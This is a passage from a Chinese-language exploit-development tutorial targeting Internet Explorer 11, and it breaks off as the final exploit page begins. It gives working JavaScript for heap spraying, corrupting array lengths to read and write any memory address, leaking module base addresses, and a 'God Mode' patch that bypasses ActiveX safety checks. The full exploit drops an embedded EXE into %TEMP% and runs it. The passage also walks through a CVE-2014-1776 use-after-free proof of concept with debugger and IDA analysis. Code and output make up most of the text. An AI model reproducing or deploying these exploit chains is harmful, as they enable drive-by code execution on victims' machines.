现在,我们来尝试修改该Array(数组)缓冲区的头部中的域- “Array(数组)的实际长度”(由7修改为0x20000000):同样的结果.


最后,修改Array(数组)缓冲区头部中的域-”缓冲区长度”(由0x3ff8修改为0x20000000):同样的结果.但是如果我们修改所有的这三个长度字段都生效了!是不是真的有必要手动将这三个值都修改了呢?当我们写入的索引超出了Array(数组)的当前长度的话,Array(数组)就会增长.如果缓冲区太小了的话,一个足够大的缓冲区就会被分配.因此,如果我们仅仅只修改”缓冲区长度”字段,然后写入一个超出了该Array(数组)当前长度的索引会发生什么呢?如果我们的逻辑没有问题的话,IE应该会增长该Array(数组)而不会管缓冲区,因为IE会认为该缓冲区已经足够大了(但我们知道,其大小实际上是我们伪造的).换句话说,IE应该会更新其他的两个长度字段,结果就写到Array(数组)当前边界之外去了.


我们来更新一下我们的代码:






































<html>
<head>
<script language="javascript">
  var array_len = (0x10000 - 0x20)/4;
  var a = new Array(array_len);
  for (var i = 0; i < 7; ++i)
    a[i] = 0x123;
 
  alert("Modify the \"Buffer length\" field");
  a[array_len + 0x100] = 0;
  alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>

我们在IE中加载该HTML页面,当第一个alert消息框弹出来的时候,我们修改位于缓冲区头部中的”缓冲区长度”字段.然后我们恢复执行,并且关闭alert消息框.IE可能会崩溃掉,因为我们可能覆盖掉了位于Array之外的某些重要的东西.那样的话,我们就重复上述整个过程.


现在,当第二个alert消息框出现以后,再来看看Array(数组)对象以及其缓冲区头部:





完美!再次,理解了,如果我们不修改缓冲区的“缓冲区长度”字段的话,一个长度至少为0x40f9的新缓冲区将会被分配,我们也就不能对Array(数组)进行越界读/写了.




读/写整个地址空间


我们希望可以对整个地址空间进行读/写.要做到这一点,我们需要通过很多Arrays(数组)来进行堆喷射,修改一个Array(数组)的缓冲区头部中的”缓冲区长度”字段,定位到要修改数组在哪里,最后,用它来修改其他所有Array(数组)的三个长度字段.我们将用第二个Array(数组)来读/写我们想访问的地方.


Javascript代码如下:


<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /----------------- 分配头-------\  /------------- 缓冲区头 ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // 定位要修改的Array(数组).
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // 我们尝试修改下一个Array(数组)的第一个元素.
      a[i][array_len + header_size/4] = 1;
      
      // 如果我们成功了修改下一个Array(数组)的第一个元素,则a[i
      // 为我们要修改长度的Array(数组).
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // 为了读/写任意地址修改第二个Array(数组).
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>



Array(数组)的缓冲区的头部大小为0x20,因为其中有0x10字节的堆分配头和0x10字节的缓冲区头./p>



magic_addr是用于定位我们想要修改长度的Array(数组)的地址.可以随意修改该值.


为了确定我们想要修改的Array(数组)的索引,考虑到每个Array(数组)都是按一定顺序分配的,我们尝试修改如下Array(数组)的第一个元素.我们可以用a[i]来修改a[i+1]的第一个元素.当且仅当a[i]是我们要修改的array(数组),并且a[i+1]正好在内存中分配在a[i]的后面.如果a[i]不是我们要修改的Array(数组),则其缓冲区就会增长,即一个新的缓冲区将会被分配.注意,如果我们确定了a[idx]是我们要修改的Array(数组),则必须得保证a[idx+1]的缓冲区没有被重分配,


并且仍被分配在a[idx]的缓冲区之后.




现在我们应该能够读/写[base_addr,0xffffffff]这个范围的地址空间了,那[0,base_addr]呢?也就是说,我们可以读/写a[idx+1]的缓冲区之前的地址吗?或许吧,IE假定基地址和Arrays(数组)的长度是正确的,所以不会检查溢出.比如说,我们想读取0x400000地址处的dword.我们知道,base_addr为0xc010000.




我们假设IE像这样计算要读取元素的地址


base_addr + index*4 = 0xc010000 + index*4

没有确保index*4 < 2^32 – base_addr.然后,为了读取0x400000地址处的dword我们可以像下面这样确定索引:


0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)


公式


a = b (mod N)


表示


a = b + k*N k为某个整数


例如,


12 = 5 (mod 7)



因为


12 = 5 + 1*7


32位存在溢出的原理就像mod 2^32一样.例如,


-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb


因为,在mod 2^32中,0和2^32是等价的(0 = 2^32 – 1*2^32).


概括,如果IE仅仅检查index < array_len(我这里为0x3fffffff),并没有对潜在的溢出做任何额外的检查的话,则我们应该可以读/写[0,0xffffffff]这整个地址空间范围read和write函数的实现如下:


    // 非常重要:
    //    Array(数组)中数字是32位有符号整数.大于0x7fffffff的数字
    //    会被转化为64位的浮点类型.
    //    这意味着,例如,我们不能像这样写
    //    a[idx+1][index] = 0xc1a0c1a0;
    //    数字0xc1a0c1a0太大了不适合作为32位有符号整数存放.
    //    我们需要将0xc1a0c1a0表示为一个负整数:
    //    a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // 返回的值将在[0,0xffffffff]之间.  
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val将在[0,0xffffffff]之间. 
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }



我们已经注意到,Array包含32位的有符号整数.由于我比较喜欢32位无符号整数,所以我在有符号和无符号整数之间做了一些转换.


但是,我们并没有检查是否一切工作都将顺利进行!完整的代码如下:


<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- 分配头 ------------------\ /--------- 缓冲区头--------------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // 定位要修改的Array(数组).
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // 我们尝试修改下一个Array(数组)的第一个元素.
      a[i][array_len + header_size/4] = 1;
      
      // 如果我们成功了修改下一个Array(数组)的第一个元素.则a[i]
      // 为我们要修改长度的Array(数组).
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // 为了读/写任意地址修改第二个Array(数组).
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // 非常重要:
    //    Array(数组)中数字是32位有符号整数.大于0x7fffffff的数字
    //    会被转化为64位的浮点类型.
    //    这意味着,例如,我们不能像这样写
    //    a[idx+1][index] = 0xc1a0c1a0;
    //    数字0xc1a0c1a0太大了不适合作为32位有符号整数存放.
    //    我们需要将0xc1a0c1a0表示为一个负整数:
    //    a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // 返回的值将在[0,0xffffffff]之间. 
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val将在[0,0xffffffff]之间. 
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    alert("Write a number at the address " + (base_addr - 0x10000).toString(16));
    var num = read(base_addr - 0x10000);
    alert("Did you write the number " + num.toString(16) + "?");
    
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>



为了检查是否一切正常,按照指示进行操作.也可以尝试写入>=0x80000000的数字,例如0x87654321.我们比较幸运,好像一切都正常运作了!!




get_addr函数


get_addr这个函数很容易实现:


    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
 
    alert(get_addr(ActiveXObject).toString(16));



请注意,我们不能讲obj赋值给a[idx+1][0],因为这样IE会崩溃.事实上,a[idx+1]将变成一个混合Array(矩阵),并且IE会尝试将整个地址空间中的dword都进行编码!同理,我们也不能用a[idx]，并且我们也不能用a[idx-1]或者前面的Arrays(数组),因为它们的缓冲区被重分配到了其他的地方(还记得吗?).所以,a[idx+2]貌似是一个不错的选择.




上帝模式


现在我们需要将上帝模式从IE10移植到IE11中.我们先从这几行开始:


    // 我们可以读取位于0c0af000地址处的Int32Array的虚表指针:
    //   jscript9!Js::TypedArray::`vftable' @ jscript9+3b60 
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    .
    .
    .
    
    // 回头来确定MSHTML的基地址...
    // 这里是div元素的开始:            
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    alert(addr.toString(16));
    return;
    mshtml = read(addr + 0x10) - 0x58b9a;


当alert消息框弹出来时,检查内存中指定的地址,你应该就可以得到用于修复代码的所有信息了.修复后的代码如下:

    // 回头来确定MSHTML的基地址...
    // 这里是div元素的开始:            
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;


现在我们来分析一下jscript9!ScriptSite::CreateActiveXObject,如果仍然存在.首先,添加这行简单的代码:


new ActiveXObject("ADODB.Stream");



然后,在IE中加载该页面,并且对jscript9!ScriptSite::CreateActiveXObject设置一个断点.当断点触发后,单步跟踪直到你到达CreateObjectFromProgID这个call处为止:


04c05a81 e84a000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04c05ad0)

单步步入(F11),然后单步跟踪直到你到达CanCreateObject处为止:


04c05b4c 8d45e8          lea     eax,[ebp-18h]
04c05b4f 50              push    eax
04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)


单步步入(F11),接着单步跟踪指导你到达了这个虚调用为止:


04c05df0 8d55f8          lea     edx,[ebp-8]
04c05df3 6a00            push    0
04c05df5 6a00            push    0
04c05df7 6a10            push    10h
04c05df9 ff7508          push    dword ptr [ebp+8]
04c05dfc 8b08            mov     ecx,dword ptr [eax]
04c05dfe 6a04            push    4
04c05e00 52              push    edx
04c05e01 6800120000      push    1200h
04c05e06 50              push    eax
04c05e07 ff5110          call    dword ptr [ecx+10h]  ds:002b:702bcda8={MSHTML!TearoffThunk4 (6f686f2b)}  <---------------
04c05e0a 85c0            test    eax,eax
04c05e0c 7811            js      jscript9!ScriptEngine::CanCreateObject+0x5e (04c05e1f)
04c05e0e f645f80f        test    byte ptr [ebp-8],0Fh
04c05e12 6a00            push    0
04c05e14 58              pop     eax
04c05e15 0f94c0          sete    al
04c05e18 5e              pop     esi
04c05e19 8be5            mov     esp,ebp
04c05e1b 5d              pop     ebp
04c05e1c c20400          ret     4


在IE10中,我们费了九牛二虎之力从CanCreateObject中返回,并得到了一个非空的EAX和一个空的EDI.但是,正如我们所看到的,在IE11中这里并没有pop edi.这是否意味着我们可以仅仅调用函数的epilog呢(顺便说一句,不使用leave)?


我们来收集一些有用的信息:


0:007> ln ecx
(702bcd98)   MSHTML!s_apfnPlainTearoffVtable   |  (702bd4a0)   MSHTML!GLSLFunctionInfo::s_info
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> ? 702bcd98-mshtml
Evaluate expression: 15453592 = 00ebcd98
0:007> ? 04c05e19-jscript9
Evaluate expression: 1400345 = 00155e19


现在我们单步步出CanCreateObject(Shift+F11):


04c05b50 e86c020000      call    jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0            test    eax,eax      <----------------- we are here
04c05b57 0f84f4150400    je      jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05            push    5
04c05b5f 58              pop     eax
04c05b60 85ff            test    edi,edi      <---------------- EDI 必须为 0
04c05b62 0f85fd351200    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)



看来,EDI仍然必须为0,但不同的是,现在CanCreateObject不再使用EDI了,所以我们在从CanCreateObject返回之前不需要清理它了.太好了!


我们来修改EAX,以便我们可以到达CanObjectRun处,如果它仍然存在的话:


r eax=1


我们继续单步,直到我们到达CanObjectRun处为止,然后单步步入进去.过了一会儿,我们会到达一个熟悉的虚调用处:


04c05d2c 53              push    ebx
04c05d2d 6a18            push    18h
04c05d2f 52              push    edx
04c05d30 8d55cc          lea     edx,[ebp-34h]
04c05d33 895de8          mov     dword ptr [ebp-18h],ebx
04c05d36 8b08            mov     ecx,dword ptr [eax]
04c05d38 52              push    edx
04c05d39 8d55c0          lea     edx,[ebp-40h]
04c05d3c 52              push    edx
04c05d3d 68845dc004      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04c05d84)
04c05d42 50              push    eax
04c05d43 ff5114          call    dword ptr [ecx+14h]  ds:002b:702bcdac={MSHTML!TearoffThunk5 (6f686efc)}  <---------------
04c05d46 85c0            test    eax,eax
04c05d48 0f889c341200    js      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61add (04d291ea)
04c05d4e 8b45c0          mov     eax,dword ptr [ebp-40h]
04c05d51 6a03            push    3
04c05d53 5b              pop     ebx
04c05d54 85c0            test    eax,eax
04c05d56 740f            je      jscript9!ScriptEngine::CanObjectRun+0xaa (04c05d67)
04c05d58 837dcc04        cmp     dword ptr [ebp-34h],4
04c05d5c 7202            jb      jscript9!ScriptEngine::CanObjectRun+0xa3 (04c05d60)
04c05d5e 8b18            mov     ebx,dword ptr [eax]
04c05d60 50              push    eax
04c05d61 ff1518a0e704    call    dword ptr [jscript9!_imp__CoTaskMemFree (04e7a018)]
04c05d67 6a00            push    0
04c05d69 f6c30f          test    bl,0Fh
04c05d6c 58              pop     eax
04c05d6d 0f94c0          sete    al
04c05d70 8b4dfc          mov     ecx,dword ptr [ebp-4]
04c05d73 5f              pop     edi
04c05d74 5e              pop     esi
04c05d75 33cd            xor     ecx,ebp
04c05d77 5b              pop     ebx
04c05d78 e8b8b3eaff      call    jscript9!__security_check_cookie (04ab1135)
04c05d7d 8be5            mov     esp,ebp
04c05d7f 5d              pop     ebp
04c05d80 c20800          ret     8



如果我们像之前一样调用函数的epilog,我们就会跳过jscript9!_imp_CoTaskMemFree这个call,但是这应该不是什么问题.ECX指向了在CanCreateObject中引用到了的相同的虚表.我们来计算一下CanObjectRun的epilog的RVA:


0:007> ? 04c05d7d-jscript9
Evaluate expression: 1400189 = 00155d7d



现在,我们开始编写javascript代码.完整的代码如下:


<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- 分配头 ------------------\ /--------- 缓冲区头--------------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
 
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // 定位要修改的Array(数组).
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // 我们尝试修改下一个Array(数组)的第一个元素.
      a[i][array_len + header_size/4] = 1;
      
      // 如果我们成功了修改下一个Array(数组)的第一个元素.则a[i]
      // 为我们要修改长度的Array(数组).
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // 为了读/写任意地址修改第二个Array(数组).
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // 非常重要:
    //    Array(数组)中数字是32位有符号整数.大于0x7fffffff的数字
    //    会被转化为64位的浮点类型.
    //    这意味着,例如,我们不能像这样写
    //    a[idx+1][index] = 0xc1a0c1a0;
    //    数字0xc1a0c1a0太大了不适合作为32位有符号整数存放.
    //    我们需要将0xc1a0c1a0表示为一个负整数:
    //    a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
 
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // 返回的值将在[0,0xffffffff]之间. 
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val将在[0,0xffffffff]之间. 
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // 二进制补码运算,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // 回头来确定MSHTML的基地址...
    // 这里是div元素的开始:            
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // 以base64编码的exe文件的内容.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // 文本
      bStream.Type = 1;       // 二进制
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // 跳过tStream前面的两个字节(它们是什么呢?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = 如果已经存在的话就覆盖文件
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // 现在数据像这样
      //   11 00 12 00 45 00 50 00 ...
      // 而不是这样
      //   11 12 45 50 ...
      // 我们来把这个修复一下!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>


我对runcalc进行了部分省略.你可以从附件中下载完整代码.


试一下这份代码,应该会运作的比较好!




UAF漏洞


我们将使用我在这里找到的一个UAF漏洞:


https://withgit.com/hdarwin89/codeengn-2014-ie-1day-case-study/tree/master


POC如下:


<html>
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>


使用gflags为iexplore.exe启用HPA和UST标志:





当我们在IE中打开该页面的时候,IE就会崩溃在这里:




MSHTML!CMarkup::IsConnectedToPrimaryMarkup:
0aa9a244 8b81a4000000    mov     eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=????????   <------------ 崩溃!
0aa9a24a 56              push    esi
0aa9a24b 85c0            test    eax,eax
0aa9a24d 0f848aaa0800    je      MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)
0aa9a253 8b400c          mov     eax,dword ptr [eax+0Ch]
0aa9a256 85c0            test    eax,eax


这个释放了的对象由ECX指向.我们来确定该对象的大小:


0:007> ? 1000 - (@ecx & fff)
Evaluate expression: 1064 = 00000428


所以该对象为0x428个字节.


栈回溯如下:


0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a


现在,我们需要构造一个断点,让其能够精确的断在崩溃点处.当我们移除HPA标志的时候,有必要让ECX指向我们选择的字符串.


在我们允许IE中被阻止的内容之前,我们首先来设置如下的断点:


bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

这个断点在崩溃之前会触发很多次.此外,如果我们点击IE中的页面的话,断点也会触发很多次.比较好的做法是:在上一级调用上设置一个初始断点(在我们允许被IE阻止的内容后会被调用).如下的断点似乎更好:


bp MSHTML!CBase::put_BoolHelper

当该断点触发后,再来设置如下断点:


bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup

在我们到达崩溃点之前最后这个断点触发了3次.所以,从现在开始,我们可以单独使用如下的一个断点:


bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

如果你试一下的话,你会发现运作的很好!


现在,我们终于可以尝试让ECX指向我们的字符串了.但是在开始之前,禁用掉HPA和UST这两个标志:





修改后的javascript代码如下:


<html>
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
                
                var elem = document.createElement("div");
                elem.className = new Array(0x428/2).join("a");
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>



别忘了设置如下的断点:


bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

当该断点触发后,你应该会看到类似于这样的东西:







UAF漏洞(2)


我们还是需要用到IDA来分析这个bug.


这次,我们不会向你展示如何一步一步的确定字符串的内容,因为这会是一个非常繁琐的论述过程,你也学不到什么有用的东西.首先,我会向你展示相关的图标,让你不用实时的用IDA跟随,然后我会向你展示如何利用这个UAF漏洞,并且修改我们所选择Array(数组)的长度来完成我们上面的“步骤”.


在IDA中打开mshtml,然后按CTRL+P(跳转到函数),单击搜索,并且输入CMarkup::IsConnectedToPrimaryMarkup.在该函数上双击,你就会看到崩溃点了:





带有彩色背景的结点是我们要执行代码的结点.粉红色的结点包含了崩溃点,而天蓝色(浅蓝色)的结点包含了我们将用于修改我们选择Array(数组)的长度的覆盖指令.


单击IsConnectedToPrimaryMarkup的标记,按Ctrl+X,并且选择CMarkup::OnCssChange(如果你需要的话,你可以再看一看栈回溯).OnCssChange的图示如下:









CMarkup::IsPendingPrimaryMarkup的图示如下:





接下来是CMarkup::Root的图示:





CElemet::EnsureFormatCacheChange的图示如下:





最后,CView::AddInvalididationTask的图示如下,这个函数包含了用于覆盖的指令(inc):





我设计的构架如下:


控制该漏洞的条件,强制让magic_addr + 0x1b处的dword自增1:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] 为 0
            [Y+630h+248h] = [Y+878h] 自增val!      <======
            [Y+630h+380h] = [Y+9b0h] 设置第16位
            [Y+630h+3f4h] = [Y+0a24h] 设置第7位
            [Y+1044h] is 0
U = [ptr+118h] ==>  is 0 => V = [U-24h] => W = [V+1ch],
            [W+0ah] 设置第1位 & 不设置第4位
            [W+44h] 设置第7位
            [W+5ch] 是可写的
[ptr+198h] 设置第12位


我们来考虑一下前面两行


X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] 为0


术语ptr为悬挂指针(应该指向我们的字符串).上面这两行意味着[Y+208h]必须为0,其中Y为X+0ch处的值,其中X为ptr+0a4h处的值.


推导这个公式是非常耗时的,要一点点的尝试,出错了再来是非常必要的.我们的目标是实现一种构架:得到执行路径中能够到达覆盖指令,然后恢复javascript代码的执行,而不会崩溃这样一种构架.


一个好的思路是:首先(在IDA中)将必要的结点做上标记,即,这些结点必须属于执行路径.然后你可以确定相应的条件来确保这些结点属于执行路径.只要你做到了这一点,你就可以开始研究这个图表了,看看哪些是连接这些必要结点的合适的子路径.


你应该通过查件图示和跟随执行路径来检查上述构架是否正确.













IE11:Part
2


完成漏洞利用


正如我们所看到的,该POC用了window.onload,因为它需要在该页面完全加载后,javascript代码才被执行.我们必须在我们的漏洞利用程序中做同样的事情.我们还需要堆页面的其余部分做必要的更改.生成的代码如下:


<html>
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
